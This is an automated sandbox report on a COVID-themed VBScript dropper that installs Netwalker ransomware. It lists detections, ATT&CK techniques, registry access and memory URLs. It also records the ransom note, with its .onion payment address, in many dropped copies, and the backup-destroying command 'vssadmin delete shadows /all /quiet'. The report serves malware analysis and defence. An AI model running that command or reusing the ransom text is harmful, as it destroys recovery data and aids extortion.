Play interactive tour

Edit tour

Analysis Report CORONAVIRUS_COVID-19.vbs

Overview

General Information

Joe Sandbox Version:	28.0.0 Lapis Lazuli
Analysis ID:	216773
Start date:	20.03.2020
Start time:	08:59:23
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	CORONAVIRUS_COVID-19.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit (version 1803) with Office 2016, Adobe Reader DC 19, Chrome 70, Firefox 63, Java 8.171, Flash 30.0.0.113
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.spre.evad.winVBS@6/226@0/0
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 24.9% (good quality ratio 24.3%) Quality average: 83.7% Quality standard deviation: 21.9%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Start process as user (medium integrity level) Found application associated with file extension: .vbs
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): dllhost.exe, MusNotifyIcon.exe, VSSVC.exe, svchost.exe, UsoClient.exe Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtSetInformationFile calls found. Timeout during Intezer genetic analysis for unpackpe/2.1.qeSw.exe.400000.0.unpack

Detection

Strategy	Score	Range	Reporting	Whitelisted	Threat	Detection
Threshold	100	0 - 100		false	Netwalker

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification Spiderchart

Analysis Advice

Sample has functionality to log and monitor keystrokes, analyze it with the 'Simulates keyboard and window changes' cookbook

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scheduled Task1	Scheduled Task1	Access Token Manipulation1	Masquerading2	Input Capture21	Virtualization/Sandbox Evasion11	Taint Shared Content1	Input Capture21	Data Encrypted1	Standard Cryptographic Protocol1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Data Encrypted for Impact1
Replication Through Removable Media	Scripting121	Port Monitors	Process Injection12	Software Packing2	Network Sniffing	Process Discovery3	Remote Services	Data from Removable Media	Exfiltration Over Other Network Medium	Fallback Channels	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
External Remote Services	Execution through API3	Accessibility Features	Scheduled Task1	Disabling Security Tools1	Input Capture	Security Software Discovery21	Windows Remote Management	Data from Network Shared Drive	Automated Exfiltration	Custom Cryptographic Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Drive-by Compromise	Exploitation for Client Execution1	System Firmware	DLL Search Order Hijacking	Virtualization/Sandbox Evasion11	Credentials in Files	File and Directory Discovery2	Logon Scripts	Input Capture	Data Encrypted	Multiband Communication	SIM Card Swap		Premium SMS Toll Fraud
Exploit Public-Facing Application	Command-Line Interface	Shortcut Modification	File System Permissions Weakness	Access Token Manipulation1	Account Manipulation	System Information Discovery23	Shared Webroot	Data Staged	Scheduled Transfer	Standard Cryptographic Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Spearphishing Link	Graphical User Interface	Modify Existing Service	New Service	Process Injection12	Brute Force	System Owner/User Discovery	Third-party Software	Screen Capture	Data Transfer Size Limits	Commonly Used Port	Jamming or Denial of Service		Abuse Accessibility Features
Spearphishing Attachment	Scripting	Path Interception	Scheduled Task	Scripting121	Two-Factor Authentication Interception	Network Sniffing	Pass the Hash	Email Collection	Exfiltration Over Command and Control Channel	Uncommonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Spearphishing via Service	Third-party Software	Logon Scripts	Process Injection	File Deletion1	Bash History	Network Service Scanning	Remote Desktop Protocol	Clipboard Data	Exfiltration Over Alternative Protocol	Standard Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Supply Chain Compromise	Rundll32	DLL Search Order Hijacking	Service Registry Permissions Weakness	Obfuscated Files or Information2	Input Prompt	System Network Connections Discovery	Windows Admin Shares	Automated Collection	Exfiltration Over Physical Medium	Multilayer Encryption	Rogue Cellular Base Station		Data Destruction

Signature Overview

Click to jump to signature section

AV Detection:

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Virustotal: Detection: 72%			Perma Link
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	ReversingLabs: Detection: 70%

Multi AV Scanner detection for submitted file

Show sources

Source: CORONAVIRUS_COVID-19.vbs

Virustotal: Detection: 11%

Perma Link

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Joe Sandbox ML: detected

Spreading:

Infects executable files (exe, dll, sys, html)

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\ReadMe.htm			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	System file written: C:\Program Files (x86)\Microsoft Office\Office16\OSPP.HTM			Jump to behavior

Creates COM task schedule object (often to register a task for autostart)

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Code function: 2_2_0040BFC0 FindFirstFileW,FindNextFileW,

2_2_0040BFC0

Contains functionality to query local drives

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Code function: 2_2_0040D070 Sleep,SetErrorMode,GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetDriveTypeW,

2_2_0040D070

Networking:

Urls found in memory or binary data

Show sources

Source: qeSw.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0r
Source: qeSw.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#
Source: qeSw.exe, 00000002.00000003.1385697170.0000000002774000.00000004.00000001.sdmp	String found in binary or memory: http://cvs.sourceforge.jp/cgi-bin/viewcvs.cgi/ablib/ver5lib/Include/api_richedit.sbp?revision=1.2
Source: wscript.exe, 00000000.00000003.1069999339.00000145A3A08000.00000004.00000001.sdmp, wscript.exe, 00000000.00000003.1078628760.00000145A2104000.00000004.00000001.sdmp	String found in binary or memory: http://google.com
Source: wscript.exe, 00000000.00000003.1069999339.00000145A3A08000.00000004.00000001.sdmp	String found in binary or memory: http://google.comd
Source: qeSw.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: qeSw.exe, 00000002.00000003.1157889492.0000000000861000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.mpv
Source: qeSw.exe, 00000002.00000003.1444918211.0000000002515000.00000004.00000001.sdmp	String found in binary or memory: http://www.AutoItScript.com
Source: qeSw.exe, 00000002.00000002.1482113404.0000000002A6C000.00000004.00000001.sdmp	String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: qeSw.exe, 00000002.00000003.1198828942.00000000029D2000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoit.de/index.php?page=Thread&postID=48393
Source: qeSw.exe, 00000002.00000003.1387973473.00000000024D3000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoitscript.com
Source: qeSw.exe, 00000002.00000003.1444104805.000000000285F000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoitscript.com/forum
Source: qeSw.exe, 00000002.00000003.1387973473.00000000024D3000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoitscript.com/forum/index.php?act=Search
Source: qeSw.exe, 00000002.00000003.1387973473.00000000024D3000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoitscript.com/forum/index.php?act=Search&CODE=01
Source: qeSw.exe, 00000002.00000002.1483430813.0000000002CEC000.00000004.00000001.sdmp	String found in binary or memory: http://www.crimsoneditor.com/
Source: qeSw.exe, 00000002.00000003.1444918211.0000000002515000.00000004.00000001.sdmp	String found in binary or memory: http://www.gwspikval.com/jooel/scripts/BBCodeParser/Older%20versions/2.0.1/BBCodeParser2.kix
Source: qeSw.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0B
Source: qeSw.exe, 00000002.00000002.1477630740.0000000000800000.00000004.00000020.sdmp, E3495D-Readme.txt12.2.dr	String found in binary or memory: https://torproject.org/

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Creates a DirectInput object (often for capturing keystrokes)

Show sources

Source: qeSw.exe, 00000002.00000002.1477630740.0000000000800000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Installs a raw input device (often for capturing keystrokes)

Show sources

Source: qeSw.exe, 00000002.00000003.1425223756.00000000027B9000.00000004.00000001.sdmp

Binary or memory string: _winapi_registerhotkey _winapi_registerpowersettingnotification _winapi_registerrawinputdevices \

Spam, unwanted Advertisements and Ransom Demands:

Found ransom note / readme

Show sources

Source: C:\Program Files (x86)\AutoIt3\E3495D-Readme.txt

Dropped file: Hi!Your files are encrypted by Netwalker.All encrypted files for this computer has extension: .e3495d--If for some reason you read this text before the encryption ended,this can be understood by the fact that the computer slows down, and your heart rate has increased due to the ability to turn it off,then we recommend that you move away from the computer and accept that you have been compromised.Rebooting/shutdown will cause you to lose files without the possibility of recovery.--Our encryption algorithms are very strong and your files are very well protected, the only way to get your files back is to cooperate with us and get the decrypter program.Do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.For us this is just business and to prove to you our seriousness, we will decrypt you one file for free.Just open our website, upload the encrypted file and get the decrypted file for free.--Steps to get access on our website:1.Download and install tor-browser: https://torproject.org/2.Open our website: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion3.Put your personal code in the input form:{code_e3495d:VGBnzZ8UgmHbW6fuVJ0M9eiLVtjCc+ApVmrkZij+mGV4kA8mQdvB9+yISdG31/J1PojgSFiJre0xJFBFimFsOS28x/G/DfVz41ZjAtHP1KT1VQeqqDojoDx1cxD4NhGtmQHS6tJN3nzNpvbJ2fekS0vRR0T1XzwvGLfd0PMU1BMt2dSMGLkySf90vdYkCXTZTVZXv3/6N1cB8IDQPjtL9ijD42Z0yO8cHh6nF0Bru2OMqB7XCgd91Q9xwN8097CRFA3nL6Fl0RKpgJ3hO5rIOPOdmHmAS/6QYw==}

Jump to dropped file

Yara detected Netwalker ransomware

Show sources

Source: Yara match

File source: Process Memory Space: qeSw.exe PID: 244, type: MEMORY

Deletes shadow drive data (may be related to ransomware)

Show sources

Source: unknown	Process created: C:\Windows\System32\vssadmin.exe C:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Process created: C:\Windows\System32\vssadmin.exe C:\Windows\system32\vssadmin.exe delete shadows /all /quiet	Jump to behavior
Source: vssadmin.exe, 00000003.00000002.1135051160.000002BDD1945000.00000004.00000040.sdmp	Binary or memory string: C:\Windows\system32\vssadmin.exedeleteshadows/all/quiet
Source: vssadmin.exe, 00000003.00000002.1134794075.000002BDD16C0000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete ShadowStorage
Source: vssadmin.exe, 00000003.00000002.1134794075.000002BDD16C0000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete Shadows /Type=ClientAccessible /For=C:
Source: vssadmin.exe, 00000003.00000002.1134794075.000002BDD16C0000.00000002.00000001.sdmp	Binary or memory string: vssadmin Delete Shadows
Source: vssadmin.exe, 00000003.00000002.1134794075.000002BDD16C0000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete Shadows /For=C: /Oldest
Source: vssadmin.exe, 00000003.00000002.1134794075.000002BDD16C0000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete ShadowStorage /For=C: /On=D:
Source: vssadmin.exe, 00000003.00000002.1134855531.000002BDD1730000.00000004.00000020.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32\vssadmin.exeC:\Windows\system32\vssadmin.exe delete shadows /all /quietC:\Windows\system32\vssadmin.exeWinSta0\Default
Source: vssadmin.exe, 00000003.00000002.1134855531.000002BDD1730000.00000004.00000020.sdmp	Binary or memory string: C:\Windows\system32\vssadmin.exe delete shadows /all /quiet

May disable shadow drive data (uses vssadmin)

Show sources

Source: unknown	Process created: C:\Windows\System32\vssadmin.exe C:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Process created: C:\Windows\System32\vssadmin.exe C:\Windows\system32\vssadmin.exe delete shadows /all /quiet			Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File dropped: C:\Program Files (x86)\AutoIt3\E3495D-Readme.txt -> decrypter program.do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.for us this is just business and to prove to you our seriousness, we will decrypt you one file for free.just open our website, upload the encrypted file and get the decrypted file for free.--steps to get access on our website:1.download and install tor-browser: https://torproject.org/2.open our website: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion3.put your personal code in the input form:{code_e3495d:vgbnzz8ugmhbw6fuvj0m9eilvtjcc+apvmrkzij+mgv4ka8mqdvb9+yisdg31/j1pojgsfijre0xjfbfimfsos28x/g/dfvz41zjathp1kt1vqeqqdojodx1cxd4nhgtmqhs6tjn3nznpvbj2feks0vrr0t1xzwvglfd0pmu1bmt2dsmglkysf90vdykcxtztvzxv3/6n1cb8idqpjtl9ijd42z0yo8chh6nf0bru2omqb7xcgd91q9xwn8097crfa3nl6fl0rkpgj3ho5riopodmhmas/6qyw==}	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File dropped: C:\Program Files (x86)\Microsoft Office\E3495D-Readme.txt -> decrypter program.do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.for us this is just business and to prove to you our seriousness, we will decrypt you one file for free.just open our website, upload the encrypted file and get the decrypted file for free.--steps to get access on our website:1.download and install tor-browser: https://torproject.org/2.open our website: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion3.put your personal code in the input form:{code_e3495d:vgbnzz8ugmhbw6fuvj0m9eilvtjcc+apvmrkzij+mgv4ka8mqdvb9+yisdg31/j1pojgsfijre0xjfbfimfsos28x/g/dfvz41zjathp1kt1vqeqqdojodx1cxd4nhgtmqhs6tjn3nznpvbj2feks0vrr0t1xzwvglfd0pmu1bmt2dsmglkysf90vdykcxtztvzxv3/6n1cb8idqpjtl9ijd42z0yo8chh6nf0bru2omqb7xcgd91q9xwn8097crfa3nl6fl0rkpgj3ho5riopodmhmas/6qyw==}	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File dropped: C:\ProgramData\E3495D-Readme.txt -> decrypter program.do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.for us this is just business and to prove to you our seriousness, we will decrypt you one file for free.just open our website, upload the encrypted file and get the decrypted file for free.--steps to get access on our website:1.download and install tor-browser: https://torproject.org/2.open our website: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion3.put your personal code in the input form:{code_e3495d:vgbnzz8ugmhbw6fuvj0m9eilvtjcc+apvmrkzij+mgv4ka8mqdvb9+yisdg31/j1pojgsfijre0xjfbfimfsos28x/g/dfvz41zjathp1kt1vqeqqdojodx1cxd4nhgtmqhs6tjn3nznpvbj2feks0vrr0t1xzwvglfd0pmu1bmt2dsmglkysf90vdykcxtztvzxv3/6n1cb8idqpjtl9ijd42z0yo8chh6nf0bru2omqb7xcgd91q9xwn8097crfa3nl6fl0rkpgj3ho5riopodmhmas/6qyw==}	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File dropped: C:\Program Files\7-Zip\E3495D-Readme.txt -> decrypter program.do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.for us this is just business and to prove to you our seriousness, we will decrypt you one file for free.just open our website, upload the encrypted file and get the decrypted file for free.--steps to get access on our website:1.download and install tor-browser: https://torproject.org/2.open our website: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion3.put your personal code in the input form:{code_e3495d:vgbnzz8ugmhbw6fuvj0m9eilvtjcc+apvmrkzij+mgv4ka8mqdvb9+yisdg31/j1pojgsfijre0xjfbfimfsos28x/g/dfvz41zjathp1kt1vqeqqdojodx1cxd4nhgtmqhs6tjn3nznpvbj2feks0vrr0t1xzwvglfd0pmu1bmt2dsmglkysf90vdykcxtztvzxv3/6n1cb8idqpjtl9ijd42z0yo8chh6nf0bru2omqb7xcgd91q9xwn8097crfa3nl6fl0rkpgj3ho5riopodmhmas/6qyw==}hi!your files are encrypted by netwalker.all encrypted files for this computer has extension: .e3495d--if fo	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File dropped: C:\Program Files (x86)\AutoIt3\Include\E3495D-Readme.txt -> decrypter program.do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.for us this is just business and to prove to you our seriousness, we will decrypt you one file for free.just open our website, upload the encrypted file and get the decrypted file for free.--steps to get access on our website:1.download and install tor-browser: https://torproject.org/2.open our website: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion3.put your personal code in the input form:{code_e3495d:vgbnzz8ugmhbw6fuvj0m9eilvtjcc+apvmrkzij+mgv4ka8mqdvb9+yisdg31/j1pojgsfijre0xjfbfimfsos28x/g/dfvz41zjathp1kt1vqeqqdojodx1cxd4nhgtmqhs6tjn3nznpvbj2feks0vrr0t1xzwvglfd0pmu1bmt2dsmglkysf90vdykcxtztvzxv3/6n1cb8idqpjtl9ijd42z0yo8chh6nf0bru2omqb7xcgd91q9xwn8097crfa3nl6fl0rkpgj3ho5riopodmhmas/6qyw==}hi!your files are encrypted by netwalker.all encrypted files for this computer has extension: .e3495d--if fo	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File dropped: C:\Program Files (x86)\Free Window Registry Repair\E3495D-Readme.txt -> decrypter program.do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.for us this is just business and to prove to you our seriousness, we will decrypt you one file for free.just open our website, upload the encrypted file and get the decrypted file for free.--steps to get access on our website:1.download and install tor-browser: https://torproject.org/2.open our website: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion3.put your personal code in the input form:{code_e3495d:vgbnzz8ugmhbw6fuvj0m9eilvtjcc+apvmrkzij+mgv4ka8mqdvb9+yisdg31/j1pojgsfijre0xjfbfimfsos28x/g/dfvz41zjathp1kt1vqeqqdojodx1cxd4nhgtmqhs6tjn3nznpvbj2feks0vrr0t1xzwvglfd0pmu1bmt2dsmglkysf90vdykcxtztvzxv3/6n1cb8idqpjtl9ijd42z0yo8chh6nf0bru2omqb7xcgd91q9xwn8097crfa3nl6fl0rkpgj3ho5riopodmhmas/6qyw==}hi!your files are encrypted by netwalker.all encrypted files for this computer has extension: .e3495d--if fo	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File dropped: C:\Program Files (x86)\AutoIt3\Examples\E3495D-Readme.txt -> decrypter program.do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.for us this is just business and to prove to you our seriousness, we will decrypt you one file for free.just open our website, upload the encrypted file and get the decrypted file for free.--steps to get access on our website:1.download and install tor-browser: https://torproject.org/2.open our website: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion3.put your personal code in the input form:{code_e3495d:vgbnzz8ugmhbw6fuvj0m9eilvtjcc+apvmrkzij+mgv4ka8mqdvb9+yisdg31/j1pojgsfijre0xjfbfimfsos28x/g/dfvz41zjathp1kt1vqeqqdojodx1cxd4nhgtmqhs6tjn3nznpvbj2feks0vrr0t1xzwvglfd0pmu1bmt2dsmglkysf90vdykcxtztvzxv3/6n1cb8idqpjtl9ijd42z0yo8chh6nf0bru2omqb7xcgd91q9xwn8097crfa3nl6fl0rkpgj3ho5riopodmhmas/6qyw==}hi!your files are encrypted by netwalker.all encrypted files for this computer has extension: .e3495d--if fo	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File dropped: C:\Program Files (x86)\Adobe\Acrobat Reader DC\E3495D-Readme.txt -> decrypter program.do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.for us this is just business and to prove to you our seriousness, we will decrypt you one file for free.just open our website, upload the encrypted file and get the decrypted file for free.--steps to get access on our website:1.download and install tor-browser: https://torproject.org/2.open our website: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion3.put your personal code in the input form:{code_e3495d:vgbnzz8ugmhbw6fuvj0m9eilvtjcc+apvmrkzij+mgv4ka8mqdvb9+yisdg31/j1pojgsfijre0xjfbfimfsos28x/g/dfvz41zjathp1kt1vqeqqdojodx1cxd4nhgtmqhs6tjn3nznpvbj2feks0vrr0t1xzwvglfd0pmu1bmt2dsmglkysf90vdykcxtztvzxv3/6n1cb8idqpjtl9ijd42z0yo8chh6nf0bru2omqb7xcgd91q9xwn8097crfa3nl6fl0rkpgj3ho5riopodmhmas/6qyw==}	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File dropped: C:\Program Files (x86)\AutoIt3\Extras\E3495D-Readme.txt -> decrypter program.do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.for us this is just business and to prove to you our seriousness, we will decrypt you one file for free.just open our website, upload the encrypted file and get the decrypted file for free.--steps to get access on our website:1.download and install tor-browser: https://torproject.org/2.open our website: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion3.put your personal code in the input form:{code_e3495d:vgbnzz8ugmhbw6fuvj0m9eilvtjcc+apvmrkzij+mgv4ka8mqdvb9+yisdg31/j1pojgsfijre0xjfbfimfsos28x/g/dfvz41zjathp1kt1vqeqqdojodx1cxd4nhgtmqhs6tjn3nznpvbj2feks0vrr0t1xzwvglfd0pmu1bmt2dsmglkysf90vdykcxtztvzxv3/6n1cb8idqpjtl9ijd42z0yo8chh6nf0bru2omqb7xcgd91q9xwn8097crfa3nl6fl0rkpgj3ho5riopodmhmas/6qyw==}	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File dropped: C:\Program Files (x86)\AutoIt3\Examples\GUI\E3495D-Readme.txt -> decrypter program.do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.for us this is just business and to prove to you our seriousness, we will decrypt you one file for free.just open our website, upload the encrypted file and get the decrypted file for free.--steps to get access on our website:1.download and install tor-browser: https://torproject.org/2.open our website: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion3.put your personal code in the input form:{code_e3495d:vgbnzz8ugmhbw6fuvj0m9eilvtjcc+apvmrkzij+mgv4ka8mqdvb9+yisdg31/j1pojgsfijre0xjfbfimfsos28x/g/dfvz41zjathp1kt1vqeqqdojodx1cxd4nhgtmqhs6tjn3nznpvbj2feks0vrr0t1xzwvglfd0pmu1bmt2dsmglkysf90vdykcxtztvzxv3/6n1cb8idqpjtl9ijd42z0yo8chh6nf0bru2omqb7xcgd91q9xwn8097crfa3nl6fl0rkpgj3ho5riopodmhmas/6qyw==}	Jump to dropped file

Writes many files with high entropy

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt.chm entropy: 7.99637670441	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files\7-Zip\7z.sfx entropy: 7.99565121131	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files\7-Zip\7zCon.sfx entropy: 7.99580913438	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\GDIPlus.au3 entropy: 7.99334234588	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\Microsoft Office\AppXManifest.xml entropy: 7.99508004778	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\GuiListView.au3 entropy: 7.99536700031	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\WinAPIGdi.au3 entropy: 7.99631912699	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\ie.au3 entropy: 7.99586892518	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files\7-Zip\7-zip.chm entropy: 7.99666218983	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\Date.au3 entropy: 7.99525208127	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\au3.keywords.properties entropy: 7.99546197118	Jump to dropped file
